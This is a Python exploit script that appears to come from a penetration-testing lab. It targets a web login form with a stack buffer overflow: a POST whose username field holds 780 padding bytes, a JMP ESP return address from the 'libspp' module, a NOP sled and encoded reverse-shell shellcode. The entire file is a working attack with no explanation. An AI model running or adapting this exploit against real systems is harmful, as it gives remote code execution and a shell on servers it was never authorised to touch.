#!/usr/bin/python
import socket
import sys
try:
 server = sys.argv[1]
 port = 80
 TMPBuf1 = b'A' * 780
 TMPBufeip1 = b'\x83\x0c\x09\x10' # JMP ESP address from libspp module 10090c83
 TMPBufeip2 = b'E' * 4
 nops = b"\x90" * 10
 ################### reverse shell code payload ####################
 TMPBuf4 =  bytearray(
"\xbf\x71\xce\x11\x96\xdb\xc0\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x52\x83\xc6\x04\x31\x7e\x0e\x03\x0f\xc0\xf3\x63\x13\x34\x71"
"\x8b\xeb\xc5\x16\x05\x0e\xf4\x16\x71\x5b\xa7\xa6\xf1\x09\x44"
"\x4c\x57\xb9\xdf\x20\x70\xce\x68\x8e\xa6\xe1\x69\xa3\x9b\x60"
"\xea\xbe\xcf\x42\xd3\x70\x02\x83\x14\x6c\xef\xd1\xcd\xfa\x42"
"\xc5\x7a\xb6\x5e\x6e\x30\x56\xe7\x93\x81\x59\xc6\x02\x99\x03"
"\xc8\xa5\x4e\x38\x41\xbd\x93\x05\x1b\x36\x67\xf1\x9a\x9e\xb9"
"\xfa\x31\xdf\x75\x09\x4b\x18\xb1\xf2\x3e\x50\xc1\x8f\x38\xa7"
"\xbb\x4b\xcc\x33\x1b\x1f\x76\x9f\x9d\xcc\xe1\x54\x91\xb9\x66"
"\x32\xb6\x3c\xaa\x49\xc2\xb5\x4d\x9d\x42\x8d\x69\x39\x0e\x55"
"\x13\x18\xea\x38\x2c\x7a\x55\xe4\x88\xf1\x78\xf1\xa0\x58\x15"
"\x36\x89\x62\xe5\x50\x9a\x11\xd7\xff\x30\xbd\x5b\x77\x9f\x3a"
"\x9b\xa2\x67\xd4\x62\x4d\x98\xfd\xa0\x19\xc8\x95\x01\x22\x83"
"\x65\xad\xf7\x04\x35\x01\xa8\xe4\xe5\xe1\x18\x8d\xef\xed\x47"
"\xad\x10\x24\xe0\x44\xeb\xaf\xcf\x31\xc2\x4c\xb8\x43\x24\x92"
"\x83\xcd\xc2\xfe\xe3\x9b\x5d\x97\x9a\x81\x15\x06\x62\x1c\x50"
"\x08\xe8\x93\xa5\xc7\x19\xd9\xb5\xb0\xe9\x94\xe7\x17\xf5\x02"
"\x8f\xf4\x64\xc9\x4f\x72\x95\x46\x18\xd3\x6b\x9f\xcc\xc9\xd2"
"\x09\xf2\x13\x82\x72\xb6\xcf\x77\x7c\x37\x9d\xcc\x5a\x27\x5b"
"\xcc\xe6\x13\x33\x9b\xb0\xcd\xf5\x75\x73\xa7\xaf\x2a\xdd\x2f"
"\x29\x01\xde\x29\x36\x4c\xa8\xd5\x87\x39\xed\xea\x28\xae\xf9"
"\x93\x54\x4e\x05\x4e\xdd\x6e\xe4\x5a\x28\x07\xb1\x0f\x91\x4a"
"\x42\xfa\xd6\x72\xc1\x0e\xa7\x80\xd9\x7b\xa2\xcd\x5d\x90\xde"
"\x5e\x08\x96\x4d\x5e\x19"
)
 inputBuffer = TMPBuf1 + TMPBufeip1 + TMPBufeip2 + nops + TMPBuf4
 content = b"username=" + inputBuffer + b"&password=A"
 buffer = b"POST /login HTTP/1.1\r\n"
 buffer += b"Host: " + server.encode() + b"\r\n"
 buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
 buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
 buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
 buffer += b"Referer: http://10.11.0.22/login\r\n"
 buffer += b"Connection: close\r\n"
 buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
 buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
 buffer += b"\r\n"
 buffer += content
 print("Sending evil buffer...")
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((server, port))
 s.send(buffer)
 s.close()
 
 print("Done!")
 
except socket.error:
 print("Could not connect!")